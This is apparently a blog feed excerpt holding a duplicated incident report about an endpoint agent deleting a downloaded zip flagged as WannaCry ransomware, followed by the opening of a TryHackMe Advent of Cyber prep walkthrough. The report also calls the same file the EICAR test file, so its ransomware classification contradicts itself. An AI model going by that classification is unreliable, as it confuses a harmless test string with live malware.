<h2 id="heading-long-term-consequences">Long-term Consequences</h2>
<p><strong>Reputation:</strong> No impact - Incident contained internally<br /><strong>Compliance:</strong> No violations - Proper security controls functioned<br /><strong>Trust:</strong> Enhanced confidence in security infrastructure effectiveness</p>
<h2 id="heading-incident-response-actions">Incident Response Actions</h2>
<h2 id="heading-preparation-phase">Preparation Phase</h2>
<p><strong>Security Infrastructure:</strong> Trend Micro Deep Security deployed across environment<br /><strong>Monitoring Systems:</strong> Real-time behavioral analysis active<br /><strong>Response Team:</strong> Automated response capabilities enabled<br /><strong>Policies:</strong> Anti-malware policies properly configured</p>
<h2 id="heading-detection-and-analysis">Detection and Analysis</h2>
<p><strong>Detection Time:</strong> Immediate (real-time)<br /><strong>Analysis Method:</strong> Automated behavioral monitoring<br /><strong>Signature Matching:</strong> Mal/Ransom-WCRY identified<br /><strong>Threat Classification:</strong> Ransomware variant confirmed</p>
<h2 id="heading-containment-actions">Containment Actions</h2>
<p><strong>Immediate Containment:</strong> Automatic file deletion executed<br /><strong>Isolation:</strong> Threat quarantined before execution<br /><strong>Network Segmentation:</strong> Not required - no spread detected<br /><strong>System Lockdown:</strong> Not necessary - threat eliminated</p>
<h2 id="heading-eradication-measures">Eradication Measures</h2>
<p><strong>Malware Removal:</strong> Complete - File deleted from system<br /><strong>System Cleaning:</strong> Automatic - Deep Security handled cleanup<br /><strong>Vulnerability Patching:</strong> Ongoing - Regular security updates maintained<br /><strong>Configuration Hardening:</strong> Reviewed - Settings confirmed optimal</p>
<h2 id="heading-recovery-process">Recovery Process</h2>
<p><strong>System Restoration:</strong> Not required - No system compromise<br /><strong>Data Recovery:</strong> Not needed - No data affected<br /><strong>Service Restoration:</strong> Immediate - No services interrupted<br /><strong>Monitoring Enhancement:</strong> Continued surveillance of affected workstation</p>
<h2 id="heading-post-incident-activities">Post-Incident Activities</h2>
<p><strong>Forensic Analysis:</strong> Log review completed<br /><strong>Documentation:</strong> Comprehensive incident report prepared<br /><strong>Lessons Learned:</strong> Security awareness training identified as improvement area<br /><strong>Process Updates:</strong> User education protocols to be enhanced</p>
<h2 id="heading-communication-and-notification-logs">Communication and Notification Logs</h2>
<h2 id="heading-internal-communications">Internal Communications</h2>
<p><strong>Security Team:</strong> Immediate notification through automated alerting<br /><strong>IT Management:</strong> Incident report prepared for review<br /><strong>User Notification:</strong> user47 to be informed of detection and prevention<br /><strong>Executive Summary:</strong> Prepared for senior management review</p>
<h2 id="heading-external-notifications">External Notifications</h2>
<p><strong>Regulatory Reporting:</strong> Not required - No data breach or business impact<br /><strong>Customer Notification:</strong> Not necessary - No customer data affected<br /><strong>Vendor Communication:</strong> Trend Micro support not required - system functioned properly<br /><strong>Law Enforcement:</strong> Not applicable - No criminal activity evidence</p>
<h2 id="heading-compliance-documentation">Compliance Documentation</h2>
<p><strong>Audit Trail:</strong> Complete log records maintained<br /><strong>Evidence Preservation:</strong> Security logs archived<br /><strong>Regulatory Requirements:</strong> All compliance obligations met<br /><strong>Documentation Standards:</strong> Report follows industry best practices</p>
<h2 id="heading-root-cause-analysis">Root Cause Analysis</h2>
<h2 id="heading-primary-cause">Primary Cause</h2>
<p><strong>User Behavior:</strong> user47 downloaded suspicious file without proper verification<br /><strong>File Naming:</strong> Malicious file disguised with legitimate-sounding name<br /><strong>Browser Security:</strong> Internet Explorer allowed download of potentially harmful content</p>
<h2 id="heading-contributing-factors">Contributing Factors</h2>
<p><strong>Security Awareness:</strong> Insufficient user training on identifying suspicious downloads<br /><strong>Web Filtering:</strong> Potential gap in web content filtering policies<br /><strong>Email Security:</strong> Possible phishing email led user to malicious download site</p>
<h2 id="heading-system-vulnerabilities">System Vulnerabilities</h2>
<p><strong>Browser Configuration:</strong> Internet Explorer security settings may need enhancement<br /><strong>Download Policies:</strong> File download restrictions could be strengthened<br /><strong>User Permissions:</strong> Review of user download capabilities recommended</p>
<h2 id="heading-technical-timeline">Technical Timeline</h2>
<h2 id="heading-detailed-event-sequence">Detailed Event Sequence</h2>
<p><strong>10:50:31 AM - Initial Compromise Attempt</strong></p>
<ul>
<li><p>user47 downloads corporate_<a target="_blank" href="http://files.zip">files.zip</a> from internet</p>
</li>
<li><p>File saved to IE cache directory</p>
</li>
<li><p>ZIP archive contains EICAR test file (<a target="_blank" href="http://eicar.com">eicar.com</a>)</p>
</li>
</ul>
<p><strong>10:50:31 AM - Detection Phase</strong></p>
<ul>
<li><p>Deep Security Agent scans downloaded file</p>
</li>
<li><p>Behavioral analysis identifies ransomware characteristics</p>
</li>
<li><p>Mal/Ransom-WCRY signature matched</p>
</li>
<li><p>Threat severity assessed as level 6</p>
</li>
</ul>
<p><strong>10:50:31 AM - Response Phase</strong></p>
<ul>
<li><p>Automatic deletion action triggered</p>
</li>
<li><p>File quarantined and removed from system</p>
</li>
<li><p>Security event logged with full details</p>
</li>
<li><p>Host isolation not required due to successful containment</p>
</li>
</ul>
<p><strong>10:50:31 AM - Verification Phase</strong></p>
<ul>
<li><p>System integrity confirmed</p>
</li>
<li><p>No additional malicious activity detected</p>
</li>
<li><p>User session remained stable</p>
</li>
<li><p>Network traffic normal</p>
</li>
</ul>
<h2 id="heading-indicators-of-compromise-iocs">Indicators of Compromise (IoCs)</h2>
<h2 id="heading-file-based-indicators">File-based Indicators</h2>
<p><strong>File Hash (SHA1):</strong> E889544AFF85FFAF8B0D0DA705105DEE7C97FE26<br /><strong>File Name:</strong> corporate_<a target="_blank" href="http://files.zip">files.zip</a><br /><strong>File Path:</strong> C:\Users\user47\AppData\Local\Microsoft\Windows\INetCache\Low\IE\87AI39Z8\ <strong>File Size:</strong> 443 bytes<br /><strong>Malware Family:</strong> Mal/Ransom-WCRY</p>
<h2 id="heading-network-indicators">Network Indicators</h2>
<p><strong>Source IP:</strong> Not available in current logs<br /><strong>Download URL:</strong> Not captured in available data<br /><strong>Communication Attempts:</strong> None detected - file deleted before execution<br /><strong>DNS Queries:</strong> No suspicious DNS activity observed</p>
<h2 id="heading-system-indicators">System Indicators</h2>
<p><strong>Registry Changes:</strong> None - file deleted before execution<br /><strong>Process Creation:</strong> None - malware prevented from running<br /><strong>Service Modifications:</strong> None detected<br /><strong>Scheduled Tasks:</strong> No malicious tasks created</p>
<h2 id="heading-executive-summary-1">Executive Summary</h2>
<p><strong>Date/Time:</strong> July 8, 2025, 10:50:31 AM EDT<br /><strong>Type of Incident:</strong> Ransomware Attack Detection<br /><strong>Systems Affected:</strong> WINDOWS_USER47.local workstation<br /><strong>Status:</strong> Resolved - Threat Contained and Eliminated</p>
<h2 id="heading-key-findings-1">Key Findings</h2>
<p>A WannaCry ransomware variant (Mal/Ransom-WCRY) was detected on workstation WINDOWS_USER47.local through a malicious file download via Internet Explorer. The Trend Micro Deep Security Agent successfully detected and automatically deleted the threat in real-time, preventing any system compromise or data encryption.</p>
<h2 id="heading-immediate-actions-taken-1">Immediate Actions Taken</h2>
<ul>
<li><p>Real-time detection and automatic deletion by Deep Security Agent</p>
</li>
<li><p>Threat quarantined and removed from system</p>
</li>
<li><p>Comprehensive log analysis conducted</p>
</li>
<li><p>Workstation operational status confirmed</p>
</li>
</ul>
<h2 id="heading-stakeholder-impact-1">Stakeholder Impact</h2>
<p><strong>Minimal Impact:</strong> No business operations disrupted, no data compromised, no financial losses incurred. The incident was contained before any malicious activity could occur.</p>
<h2 id="heading-incident-details-1">Incident Details</h2>
<h2 id="heading-nature-of-threat-1">Nature of Threat</h2>
<p><strong>Malware Type:</strong> WannaCry Ransomware (Mal/Ransom-WCRY)<br /><strong>Detection Method:</strong> Trend Micro Deep Security real-time behavioral monitoring<br /><strong>File Hash:</strong> E889544AFF85FFAF8B0D0DA705105DEE7C97FE26<br /><strong>File Size:</strong> 443 bytes<br /><strong>Severity Level:</strong> 6 (Medium)</p>
<h2 id="heading-when-and-how-incident-occurred-1">When and How Incident Occurred</h2>
<p><strong>Timeline:</strong></p>
<ul>
<li><p><strong>10:50:31 AM:</strong> Malicious file downloaded by user47</p>
</li>
<li><p><strong>10:50:31 AM:</strong> Immediate detection by Deep Security Agent</p>
</li>
<li><p><strong>10:50:31 AM:</strong> Automatic deletion and quarantine executed</p>
</li>
<li><p><strong>10:50:31 AM:</strong> Security event logged for analysis</p>
</li>
</ul>
<h2 id="heading-who-and-what-was-affected-1">Who and What Was Affected</h2>
<p><strong>Primary Target:</strong> user47 account on WINDOWS_USER47.local workstation<br /><strong>IP Address:</strong> 10.45.3.100<br /><strong>Host ID:</strong> 6303<br /><strong>User Impact:</strong> None - user unaware of threat due to automatic remediation</p>
<h2 id="heading-overall-scope-1">Overall Scope</h2>
<p><strong>Single Endpoint:</strong> One workstation affected<br /><strong>Containment:</strong> Immediate and automatic<br /><strong>Spread:</strong> No lateral movement detected<br /><strong>Data Impact:</strong> No data compromised or encrypted</p>
<h2 id="heading-attack-vector-details-1">Attack Vector Details</h2>
<h2 id="heading-entry-point-analysis-1">Entry Point Analysis</h2>
<p><strong>Primary Vector:</strong> Web-based download through Internet Explorer<br /><strong>File Location:</strong> C:\Users\user47\AppData\Local\Microsoft\Windows\INetCache\Low\IE\87AI39Z8\corporate_<a target="_blank" href="http://files.zip">files.zip</a>(<a target="_blank" href="http://eicar.com">eicar.com</a>)<br /><strong>Social Engineering:</strong> File disguised as "corporate_<a target="_blank" href="http://files.zip">files.zip</a>" to appear legitimate<br /><strong>User Interaction:</strong> Required user to actively download the malicious archive</p>
<h2 id="heading-technical-vulnerabilities-exploited-1">Technical Vulnerabilities Exploited</h2>
<p><strong>Browser Security:</strong> Internet Explorer download mechanism<br /><strong>User Awareness:</strong> Insufficient recognition of suspicious file names<br /><strong>File Handling:</strong> ZIP archive containing EICAR test file bypassed initial user scrutiny</p>
<h2 id="heading-source-information-1">Source Information</h2>
<p><strong>Delivery Method:</strong> Direct download (likely from compromised or malicious website)<br /><strong>File Type:</strong> ZIP archive containing executable payload<br /><strong>Detection Category:</strong> EICAR test file (controlled test scenario)</p>
<h2 id="heading-systems-and-assets-affected-1">Systems and Assets Affected</h2>
<h2 id="heading-technology-assets-impacted-1">Technology Assets Impacted</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Asset Type</td><td>Details</td><td>Impact Level</td></tr>
</thead>
<tbody>
<tr>
<td>Workstation</td><td>WINDOWS_USER47.local</td><td>Minimal - Threat Removed</td></tr>
<tr>
<td>User Account</td><td>user47</td><td>None - No compromise</td></tr>
<tr>
<td>Network</td><td>10.45.3.100 subnet</td><td>None - No spread</td></tr>
<tr>
<td>Data</td><td>User files</td><td>None - No encryption</td></tr>
</tbody>
</table>
</div><h2 id="heading-damage-assessment-1">Damage Assessment</h2>
<p><strong>System Integrity:</strong> Maintained - No system files modified<br /><strong>Data Integrity:</strong> Preserved - No files encrypted or corrupted<br /><strong>Network Security:</strong> Intact - No lateral movement detected<br /><strong>Service Availability:</strong> Unaffected - All services remained operational</p>
<h2 id="heading-business-impact-assessment-1">Business Impact Assessment</h2>
<h2 id="heading-operational-impact-1">Operational Impact</h2>
<p><strong>Business Continuity:</strong> No disruption to operations<br /><strong>Service Availability:</strong> 100% uptime maintained<br /><strong>Productivity Loss:</strong> None - User unaware of incident<br /><strong>Customer Impact:</strong> No customer-facing services affected</p>
<h2 id="heading-financial-assessment-1">Financial Assessment</h2>
<p><strong>Direct Costs:</strong> $0 - No ransom paid, no data loss<br /><strong>Recovery Costs:</strong> $0 - Automatic remediation<br /><strong>Business Interruption:</strong> $0 - No downtime experienced<br /><strong>Regulatory Fines:</strong> None - No data breach occurred</p>
<h2 id="heading-long-term-consequences-1">Long-term Consequences</h2>
<p><strong>Reputation:</strong> No impact - Incident contained internally<br /><strong>Compliance:</strong> No violations - Proper security controls functioned<br /><strong>Trust:</strong> Enhanced confidence in security infrastructure effectiveness</p>
<h2 id="heading-incident-response-actions-1">Incident Response Actions</h2>
<h2 id="heading-preparation-phase-1">Preparation Phase</h2>
<p><strong>Security Infrastructure:</strong> Trend Micro Deep Security deployed across environment<br /><strong>Monitoring Systems:</strong> Real-time behavioral analysis active<br /><strong>Response Team:</strong> Automated response capabilities enabled<br /><strong>Policies:</strong> Anti-malware policies properly configured</p>
<h2 id="heading-detection-and-analysis-1">Detection and Analysis</h2>
<p><strong>Detection Time:</strong> Immediate (real-time)<br /><strong>Analysis Method:</strong> Automated behavioral monitoring<br /><strong>Signature Matching:</strong> Mal/Ransom-WCRY identified<br /><strong>Threat Classification:</strong> Ransomware variant confirmed</p>
<h2 id="heading-containment-actions-1">Containment Actions</h2>
<p><strong>Immediate Containment:</strong> Automatic file deletion executed<br /><strong>Isolation:</strong> Threat quarantined before execution<br /><strong>Network Segmentation:</strong> Not required - no spread detected<br /><strong>System Lockdown:</strong> Not necessary - threat eliminated</p>
<h2 id="heading-eradication-measures-1">Eradication Measures</h2>
<p><strong>Malware Removal:</strong> Complete - File deleted from system<br /><strong>System Cleaning:</strong> Automatic - Deep Security handled cleanup<br /><strong>Vulnerability Patching:</strong> Ongoing - Regular security updates maintained<br /><strong>Configuration Hardening:</strong> Reviewed - Settings confirmed optimal</p>
<h2 id="heading-recovery-process-1">Recovery Process</h2>
<p><strong>System Restoration:</strong> Not required - No system compromise<br /><strong>Data Recovery:</strong> Not needed - No data affected<br /><strong>Service Restoration:</strong> Immediate - No services interrupted<br /><strong>Monitoring Enhancement:</strong> Continued surveillance of affected workstation</p>
<h2 id="heading-post-incident-activities-1">Post-Incident Activities</h2>
<p><strong>Forensic Analysis:</strong> Log review completed<br /><strong>Documentation:</strong> Comprehensive incident report prepared<br /><strong>Lessons Learned:</strong> Security awareness training identified as improvement area<br /><strong>Process Updates:</strong> User education protocols to be enhanced</p>
<h2 id="heading-communication-and-notification-logs-1">Communication and Notification Logs</h2>
<h2 id="heading-internal-communications-1">Internal Communications</h2>
<p><strong>Security Team:</strong> Immediate notification through automated alerting<br /><strong>IT Management:</strong> Incident report prepared for review<br /><strong>User Notification:</strong> user47 to be informed of detection and prevention<br /><strong>Executive Summary:</strong> Prepared for senior management review</p>
<h2 id="heading-external-notifications-1">External Notifications</h2>
<p><strong>Regulatory Reporting:</strong> Not required - No data breach or business impact<br /><strong>Customer Notification:</strong> Not necessary - No customer data affected<br /><strong>Vendor Communication:</strong> Trend Micro support not required - system functioned properly<br /><strong>Law Enforcement:</strong> Not applicable - No criminal activity evidence</p>
<h2 id="heading-compliance-documentation-1">Compliance Documentation</h2>
<p><strong>Audit Trail:</strong> Complete log records maintained<br /><strong>Evidence Preservation:</strong> Security logs archived<br /><strong>Regulatory Requirements:</strong> All compliance obligations met<br /><strong>Documentation Standards:</strong> Report follows industry best practices</p>
<h2 id="heading-root-cause-analysis-1">Root Cause Analysis</h2>
<h2 id="heading-primary-cause-1">Primary Cause</h2>
<p><strong>User Behavior:</strong> user47 downloaded suspicious file without proper verification<br /><strong>File Naming:</strong> Malicious file disguised with legitimate-sounding name<br /><strong>Browser Security:</strong> Internet Explorer allowed download of potentially harmful content</p>
<h2 id="heading-contributing-factors-1">Contributing Factors</h2>
<p><strong>Security Awareness:</strong> Insufficient user training on identifying suspicious downloads<br /><strong>Web Filtering:</strong> Potential gap in web content filtering policies<br /><strong>Email Security:</strong> Possible phishing email led user to malicious download site</p>
<h2 id="heading-system-vulnerabilities-1">System Vulnerabilities</h2>
<p><strong>Browser Configuration:</strong> Internet Explorer security settings may need enhancement<br /><strong>Download Policies:</strong> File download restrictions could be strengthened<br /><strong>User Permissions:</strong> Review of user download capabilities recommended</p>
<h2 id="heading-technical-timeline-1">Technical Timeline</h2>
<h2 id="heading-detailed-event-sequence-1">Detailed Event Sequence</h2>
<p><strong>10:50:31 AM - Initial Compromise Attempt</strong></p>
<ul>
<li><p>user47 downloads corporate_<a target="_blank" href="http://files.zip">files.zip</a> from internet</p>
</li>
<li><p>File saved to IE cache directory</p>
</li>
<li><p>ZIP archive contains EICAR test file (<a target="_blank" href="http://eicar.com">eicar.com</a>)</p>
</li>
</ul>
<p><strong>10:50:31 AM - Detection Phase</strong></p>
<ul>
<li><p>Deep Security Agent scans downloaded file</p>
</li>
<li><p>Behavioral analysis identifies ransomware characteristics</p>
</li>
<li><p>Mal/Ransom-WCRY signature matched</p>
</li>
<li><p>Threat severity assessed as level 6</p>
</li>
</ul>
<p><strong>10:50:31 AM - Response Phase</strong></p>
<ul>
<li><p>Automatic deletion action triggered</p>
</li>
<li><p>File quarantined and removed from system</p>
</li>
<li><p>Security event logged with full details</p>
</li>
<li><p>Host isolation not required due to successful containment</p>
</li>
</ul>
<p><strong>10:50:31 AM - Verification Phase</strong></p>
<ul>
<li><p>System integrity confirmed</p>
</li>
<li><p>No additional malicious activity detected</p>
</li>
<li><p>User session remained stable</p>
</li>
<li><p>Network traffic normal</p>
</li>
</ul>
<h2 id="heading-indicators-of-compromise-iocs-1">Indicators of Compromise (IoCs)</h2>
<h2 id="heading-file-based-indicators-1">File-based Indicators</h2>
<p><strong>File Hash (SHA1):</strong> E889544AFF85FFAF8B0D0DA705105DEE7C97FE26<br /><strong>File Name:</strong> corporate_<a target="_blank" href="http://files.zip">files.zip</a><br /><strong>File Path:</strong> C:\Users\user47\AppData\Local\Microsoft\Windows\INetCache\Low\IE\87AI39Z8\ <strong>File Size:</strong> 443 bytes<br /><strong>Malware Family:</strong> Mal/Ransom-WCRY</p>
<h2 id="heading-network-indicators-1">Network Indicators</h2>
<p><strong>Source IP:</strong> Not available in current logs<br /><strong>Download URL:</strong> Not captured in available data<br /><strong>Communication Attempts:</strong> None detected - file deleted before execution<br /><strong>DNS Queries:</strong> No suspicious DNS activity observed</p>
<h2 id="heading-system-indicators-1">System Indicators</h2>
<p><strong>Registry Changes:</strong> None - file deleted before execution<br /><strong>Process Creation:</strong> None - malware prevented from running<br /><strong>Service Modifications:</strong> None detected<br /><strong>Scheduled Tasks:</strong> No malicious tasks created</p>
<h2 id="heading-lessons-learned-and-recommendations">Lessons Learned and Recommendations</h2>
<h2 id="heading-immediate-improvements">Immediate Improvements</h2>
<p><strong>User Education:</strong> Implement mandatory security awareness training for all users<br /><strong>Download Policies:</strong> Review and strengthen file download restrictions<br /><strong>Browser Security:</strong> Enhance Internet Explorer security configurations<br /><strong>Incident Communication:</strong> Develop user notification procedures for security events</p>
<h2 id="heading-process-enhancements">Process Enhancements</h2>
<p><strong>Threat Intelligence:</strong> Integrate additional threat feeds for improved detection<br /><strong>Monitoring:</strong> Enhance user activity monitoring for suspicious download patterns<br /><strong>Response Procedures:</strong> Document automated response capabilities for staff awareness<br /><strong>Training Programs:</strong> Develop role-specific security training modules</p>
<h2 id="heading-technology-improvements">Technology Improvements</h2>
<p><strong>Web Filtering:</strong> Implement advanced web content filtering solutions<br /><strong>Email Security:</strong> Strengthen email security to prevent phishing attacks<br /><strong>Endpoint Protection:</strong> Continue leveraging Deep Security's advanced capabilities<br /><strong>Network Segmentation:</strong> Review network architecture for additional isolation capabilities</p>
<h2 id="heading-policy-updates">Policy Updates</h2>
<p><strong>Acceptable Use:</strong> Update acceptable use policies regarding file downloads<br /><strong>Incident Response:</strong> Enhance incident response procedures for similar events<br /><strong>Security Awareness:</strong> Mandate regular security training for all personnel<br /><strong>Vendor Management:</strong> Ensure security tool configurations remain optimal</p>
<h2 id="heading-preventive-measures">Preventive Measures</h2>
<h2 id="heading-technical-controls">Technical Controls</h2>
<p><strong>Enhanced Web Filtering:</strong> Deploy advanced URL filtering and content inspection<br /><strong>Email Security Gateway:</strong> Implement comprehensive email threat protection<br /><strong>Browser Hardening:</strong> Apply restrictive security settings to all browsers<br /><strong>Application Control:</strong> Consider application whitelisting for critical systems</p>
<h2 id="heading-administrative-controls">Administrative Controls</h2>
<p><strong>Security Training:</strong> Quarterly cybersecurity awareness sessions for all staff<br /><strong>Policy Updates:</strong> Regular review and update of security policies<br /><strong>Incident Drills:</strong> Conduct regular incident response exercises<br /><strong>Vendor Reviews:</strong> Periodic assessment of security tool effectiveness</p>
<h2 id="heading-physical-controls">Physical Controls</h2>
<p><strong>Workstation Security:</strong> Ensure physical security of all endpoints<br /><strong>Access Controls:</strong> Implement strict physical access controls<br /><strong>Environmental Monitoring:</strong> Maintain secure physical environment<br /><strong>Asset Management:</strong> Track and monitor all technology assets</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The ransomware detection incident on WINDOWS_USER47.local demonstrates the effectiveness of the organization's security infrastructure. Trend Micro Deep Security's real-time behavioral monitoring successfully identified and eliminated a WannaCry ransomware variant before any system compromise could occur.</p>
<h2 id="heading-key-successes">Key Successes</h2>
<p><strong>Automated Response:</strong> Security tools functioned exactly as designed<br /><strong>Zero Impact:</strong> No business disruption or data compromise<br /><strong>Rapid Detection:</strong> Immediate identification of malicious activity<br /><strong>Complete Containment:</strong> Threat eliminated before execution</p>
<h2 id="heading-areas-for-improvement">Areas for Improvement</h2>
<p><strong>User Awareness:</strong> Enhanced training needed for recognizing suspicious downloads<br /><strong>Preventive Controls:</strong> Additional web filtering and email security measures<br /><strong>Communication:</strong> Improved user notification procedures for security events<br /><strong>Monitoring:</strong> Enhanced visibility into user download activities</p>
<h2 id="heading-final-assessment">Final Assessment</h2>
<p>This incident validates the organization's investment in advanced endpoint protection and demonstrates the critical importance of layered security controls. The automatic detection and remediation capabilities prevented what could have been a significant security event, highlighting the value of proactive security measures.</p>
<p>The incident serves as a valuable learning opportunity to strengthen user awareness and enhance preventive controls while confirming that the organization's incident response capabilities are functioning effectively.</p>
<p><strong>Incident Status:</strong> CLOSED<br /><strong>Follow-up Actions:</strong> Security awareness training scheduled, policy reviews initiated<br /><strong>Next Review:</strong> 30 days post-incident for effectiveness assessment</p>
<p><em>This report provides a comprehensive analysis of the ransomware detection incident and serves as documentation for organizational learning and compliance purposes. All technical details have been verified through log analysis and security tool reporting.</em></p>
<h2 id="heading-lessons-learned-and-recommendations-1">Lessons Learned and Recommendations</h2>
<h2 id="heading-immediate-improvements-1">Immediate Improvements</h2>
<p><strong>User Education:</strong> Implement mandatory security awareness training for all users<br /><strong>Download Policies:</strong> Review and strengthen file download restrictions<br /><strong>Browser Security:</strong> Enhance Internet Explorer security configurations<br /><strong>Incident Communication:</strong> Develop user notification procedures for security events</p>
<h2 id="heading-process-enhancements-1">Process Enhancements</h2>
<p><strong>Threat Intelligence:</strong> Integrate additional threat feeds for improved detection<br /><strong>Monitoring:</strong> Enhance user activity monitoring for suspicious download patterns<br /><strong>Response Procedures:</strong> Document automated response capabilities for staff awareness<br /><strong>Training Programs:</strong> Develop role-specific security training modules</p>
<h2 id="heading-technology-improvements-1">Technology Improvements</h2>
<p><strong>Web Filtering:</strong> Implement advanced web content filtering solutions<br /><strong>Email Security:</strong> Strengthen email security to prevent phishing attacks<br /><strong>Endpoint Protection:</strong> Continue leveraging Deep Security's advanced capabilities<br /><strong>Network Segmentation:</strong> Review network architecture for additional isolation capabilities</p>
<h2 id="heading-policy-updates-1">Policy Updates</h2>
<p><strong>Acceptable Use:</strong> Update acceptable use policies regarding file downloads<br /><strong>Incident Response:</strong> Enhance incident response procedures for similar events<br /><strong>Security Awareness:</strong> Mandate regular security training for all personnel<br /><strong>Vendor Management:</strong> Ensure security tool configurations remain optimal</p>
<h2 id="heading-preventive-measures-1">Preventive Measures</h2>
<h2 id="heading-technical-controls-1">Technical Controls</h2>
<p><strong>Enhanced Web Filtering:</strong> Deploy advanced URL filtering and content inspection<br /><strong>Email Security Gateway:</strong> Implement comprehensive email threat protection<br /><strong>Browser Hardening:</strong> Apply restrictive security settings to all browsers<br /><strong>Application Control:</strong> Consider application whitelisting for critical systems</p>
<h2 id="heading-administrative-controls-1">Administrative Controls</h2>
<p><strong>Security Training:</strong> Quarterly cybersecurity awareness sessions for all staff<br /><strong>Policy Updates:</strong> Regular review and update of security policies<br /><strong>Incident Drills:</strong> Conduct regular incident response exercises<br /><strong>Vendor Reviews:</strong> Periodic assessment of security tool effectiveness</p>
<h2 id="heading-physical-controls-1">Physical Controls</h2>
<p><strong>Workstation Security:</strong> Ensure physical security of all endpoints<br /><strong>Access Controls:</strong> Implement strict physical access controls<br /><strong>Environmental Monitoring:</strong> Maintain secure physical environment<br /><strong>Asset Management:</strong> Track and monitor all technology assets</p>
<h2 id="heading-conclusion-1">Conclusion</h2>
<p>The ransomware detection incident on WINDOWS_USER47.local demonstrates the effectiveness of the organization's security infrastructure. Trend Micro Deep Security's real-time behavioral monitoring successfully identified and eliminated a WannaCry ransomware variant before any system compromise could occur.</p>
<h2 id="heading-key-successes-1">Key Successes</h2>
<p><strong>Automated Response:</strong> Security tools functioned exactly as designed<br /><strong>Zero Impact:</strong> No business disruption or data compromise<br /><strong>Rapid Detection:</strong> Immediate identification of malicious activity<br /><strong>Complete Containment:</strong> Threat eliminated before execution</p>
<h2 id="heading-areas-for-improvement-1">Areas for Improvement</h2>
<p><strong>User Awareness:</strong> Enhanced training needed for recognizing suspicious downloads<br /><strong>Preventive Controls:</strong> Additional web filtering and email security measures<br /><strong>Communication:</strong> Improved user notification procedures for security events<br /><strong>Monitoring:</strong> Enhanced visibility into user download activities</p>
<h2 id="heading-final-assessment-1">Final Assessment</h2>
<p>This incident validates the organization's investment in advanced endpoint protection and demonstrates the critical importance of layered security controls. The automatic detection and remediation capabilities prevented what could have been a significant security event, highlighting the value of proactive security measures.</p>
<p>The incident serves as a valuable learning opportunity to strengthen user awareness and enhance preventive controls while confirming that the organization's incident response capabilities are functioning effectively.</p>
<p><strong>Incident Status:</strong> CLOSED<br /><strong>Follow-up Actions:</strong> Security awareness training scheduled, policy reviews initiated<br /><strong>Next Review:</strong> 30 days post-incident for effectiveness assessment</p>
<p><em>This report provides a comprehensive analysis of the ransomware detection incident and serves as documentation for organizational learning and compliance purposes. All technical details have been verified through log analysis and security tool reporting.</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765851980958/bfbef0e7-ba6a-487d-8b78-e7e4fd7517bd.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Advent of Cyber Prep Track THM]]></title><description><![CDATA[Prepare for Advent of Cyber 2025 with interactive cybersecurity challenges and master essential skills to help save SOCMAS in Wareville]]></description><link>https://prayush.hashnode.dev/advent-of-cyber-prep-track-thm</link><guid isPermaLink="true">https://prayush.hashnode.dev/advent-of-cyber-prep-track-thm</guid><category><![CDATA[AdventOfCyber2025]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Prayush Hada]]></dc:creator><pubDate>Mon, 01 Dec 2025 15:00:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1764601364437/04ea416d-e412-41b4-babb-fe803fdd9f34.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-1-introduction">1. Introduction</h2>
<h3 id="heading-lets-get-warmed-up">Let's Get Warmed Up</h3>
<p>The snow has started falling in <strong>Wareville</strong>, home of <em>The Best Festival Company (TBFC)</em>. The team is preparing for SOCMAS, the annual cyber celebration, but something’s not right. Systems are glitching, passwords are failing, and McSkidy suspects something is afoot. This name keeps coming up: <strong>King Malhare</strong>. What could it mean?</p>
<p>Before joining the <strong>SOCMAS Response Team</strong>, you can complete <strong>10 short missions</strong> to ensure you are ready. Each one teaches an essential cyber security skill and uncovers clues to help get you ready for Advent of Cyber 2025.</p>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127196624.png" alt="McSkidy warming her hands by a fire" /></p>
<h2 id="heading-how-it-works">How it Works</h2>
<p>To start each challenge, click the <strong>“View Site”</strong> button in the top-right corner of the task page. You’ll need to press this button <strong>again for every new task</strong>, as each one loads its own challenge site. Once clicked, the room will open in a <strong>split-screen view</strong>, letting you follow the instructions on the left while interacting with the challenge on the right. This is where you’ll complete all of our interactive challenges to get you ready for this year's event!</p>
<hr />
<h2 id="heading-2-challenge-1-password-pandemonium">2. Challenge 1 — Password Pandemonium</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127292315.png" alt="Task banner" /></p>
<h2 id="heading-password-pandemonium">Password Pandemonium</h2>
<p>As you log into your new TBFC workstation, an alert pops up:</p>
<blockquote>
<p>“<em>Weak passwords detected on 73 TBFC accounts!</em>”</p>
</blockquote>
<p>Even McSkidy’s password, <code>P@ssw0rd123</code>, has been flagged. Before gaining full access, you’ll need to prove your password prowess.</p>
<p>Strong passwords are one of the simplest yet most effective defences against cyber attacks.</p>
<p><strong>Objective:</strong><br />Create a password that passes all system checks and isn’t found in the leaked password list.</p>
<p><strong>Steps:</strong></p>
<ol>
<li><p>Enter a password with at least 12 characters.</p>
</li>
<li><p>Include uppercase, lowercase, numbers, and symbols.</p>
</li>
<li><p>Ensure it isn’t in the breach database.</p>
</li>
</ol>
<h4 id="heading-my-solution-1234passw0rd123">My Solution: 1234P@assw0rd123</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764599305491/a418c9a4-66eb-40de-a2f3-d1c657ff21d7.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-challenge-2-the-suspicious-chocolateexe">Challenge 2 — The Suspicious Chocolate.exe</h2>
<p><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/6228f0d4ca8e57005149c3e3/room-content/6228f0d4ca8e57005149c3e3-1763127337148.png" alt="Task banner" /></p>
<h2 id="heading-the-suspicious-chocolateexe">The Suspicious Chocolate.exe</h2>
<p>A shiny USB labelled <strong>“SOCMAS Party Playlist”</strong> appears on your desk. Inside is a mysterious file called <code>chocolate.exe</code>.<br />It looks festive, but who sent it?</p>
